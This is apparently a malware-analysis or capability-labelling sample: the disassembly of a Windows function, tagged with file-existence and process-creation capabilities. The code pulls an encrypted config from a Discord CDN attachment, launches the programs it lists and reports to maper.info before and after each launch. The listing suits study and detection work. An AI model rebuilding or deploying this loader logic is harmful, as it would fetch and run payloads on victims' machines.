Function at 0x40204e
Capabilities:
Check if file exists
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
push ebx
push esi
push edi
mov esi, 0x200000
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
push esi
mov ecx, ebx
call fcn.0040553d
pop ecx
mov esi, 0xe10
xor eax, eax
mov edx, ebx
mov dword [ebp - 0x10], eax
mov ecx, str.https:__cdn.discordapp.com_attachments_882104227651026988_1037554251225894942_003.config.CfgEncFile
lea eax, [ebp - 0x10]
push eax
call fcn.00403a32
pop ecx
test eax, eax
je 0x4020d6
push 0x18
mov edx, 0x40ccc0
lea ecx, [ebp - 0x38]
call fcn.0040550e
mov edi, dword [ebp - 0x10]
lea eax, [ebp - 0x38]
pop ecx
push eax
mov edx, edi
mov ecx, ebx
call fcn.0040393c
pop ecx
test eax, eax
je 0x4020d6
cmp dword [ebx], 0x43474542
lea eax, [edi - 8]
mov dword [ebp - 0x20], eax
jne 0x4020d6
cmp dword [ebx + eax - 4], 0x43444e45
je 0x4020e1
sub esi, 1
je 0x40236e
jmp 0x40207f
mov edi, 0x168
xor ecx, ecx
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], ecx
mov al, byte [edi + ebx]
lea ecx, [ebx + 0x1a]
mov byte [ebp - 1], al
lea esi, [edi + 2]
mov al, byte [edi + ebx + 1]
add ecx, edi
mov byte [ebp - 2], al
call fcn.004055bc
push 0x44
lea ecx, [ebp - 0x80]
lea edi, [edi + eax*2]
xor eax, eax
add edi, 0x1c
mov dword [ebp - 0xc], eax
add edi, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edi
call fcn.0040553d
pop ecx
push 0x10
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x80], 0x44
call fcn.0040553d
pop ecx
lea eax, [ebp - 0xc]
push eax
xor eax, eax
lea edx, [esi + ebx]
push eax
push ecx
push ecx
mov ecx, edi
call fcn.00403999
add esp, 0x10
cmp eax, 3
jne 0x4021a9
push dword [ebp - 0xc]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [ebp - 0xc]
mov esi, eax
mov ecx, esi
mov dword [ebp - 0x10], esi
call fcn.0040553d
mov edx, dword [ebp - 8]
lea eax, [ebp - 0xc]
pop ecx
push eax
push esi
push ecx
add edx, 2
push ecx
add edx, ebx
mov ecx, edi
call fcn.00403999
add esp, 0x10
cmp eax, 1
je 0x4021b0
push esi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 0x10], esi
jmp 0x4021b0
xor eax, eax
mov esi, eax
mov dword [ebp - 0x10], eax
xor eax, eax
lea ecx, [ebp - 0x288]
mov word [ebp - 0x288], ax
cmp byte [ebp - 1], al
je 0x40220b
push 0x1c858
mov edx, 0x40d6f0
call fcn.00403f5c
pop ecx
test eax, eax
je 0x4022cc
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov eax, dword [ebp - 8]
mov edx, esi
push ecx
add eax, 0x1a
lea ecx, [ebp - 0x288]
add eax, ebx
push eax
push dword [ebp - 0xc]
call fcn.00401186
add esp, 0x14
mov esi, eax
jmp 0x4022cf
push dword [ebp - 0xc]
mov edx, esi
call fcn.00403f5c
pop ecx
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4022cc
mov eax, dword [ebp - 8]
xor edx, edx
add eax, 0x1a
mov esi, edx
add eax, ebx
je 0x40224d
mov esi, eax
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
cmp ax, dx
jne 0x40223e
sub esi, ecx
sar esi, 1
lea eax, [esi*2 + 0x21c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x402279
lea eax, [esi*2 + 0x21c]
mov ecx, edi
push eax
call fcn.0040553d
pop ecx
lea eax, [ebp - 0x288]
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_StrCatW]
test esi, esi
je 0x4022a5
mov esi, dword [sym.imp.SHLWAPI.dll_StrCatW]
push 0x40720c
push edi
call esi
mov eax, dword [ebp - 8]
add eax, 0x1a
add eax, ebx
push eax
push edi
call esi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x80]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0x64
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [ebp - 0x1c]
jmp 0x4022cf
mov esi, dword [ebp - 0x18]
cmp dword [ebp - 0x14], 0
jne 0x4022e3
test esi, esi
je 0x4022e3
mov ecx, str.https:__maper.info_003Before
call fcn.00404eda
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4022fb
push eax
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
je 0x402330
cmp byte [ebp - 2], 0
je 0x402320
push 0xffffffffffffffff
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x14], 0
jne 0x402320
mov ecx, str.https:__maper.info_003After
call fcn.00404eda
push dword [ebp - 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x2c]
call esi
inc dword [ebp - 0x14]
lea edx, [edi + 2]
xor ecx, ecx
mov ax, word [edi]
add edi, 2
cmp ax, cx
jne 0x402338
mov ecx, dword [ebp - 8]
sub edi, edx
add ecx, 0x1a
sar edi, 1
add ecx, ebx
call fcn.004055bc
add eax, edi
mov edi, dword [ebp - 8]
lea edi, [edi + eax*2]
add edi, 0x1e
mov dword [ebp - 8], edi
lea eax, [edi + 4]
cmp eax, dword [ebp - 0x20]
jne 0x4020ee
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret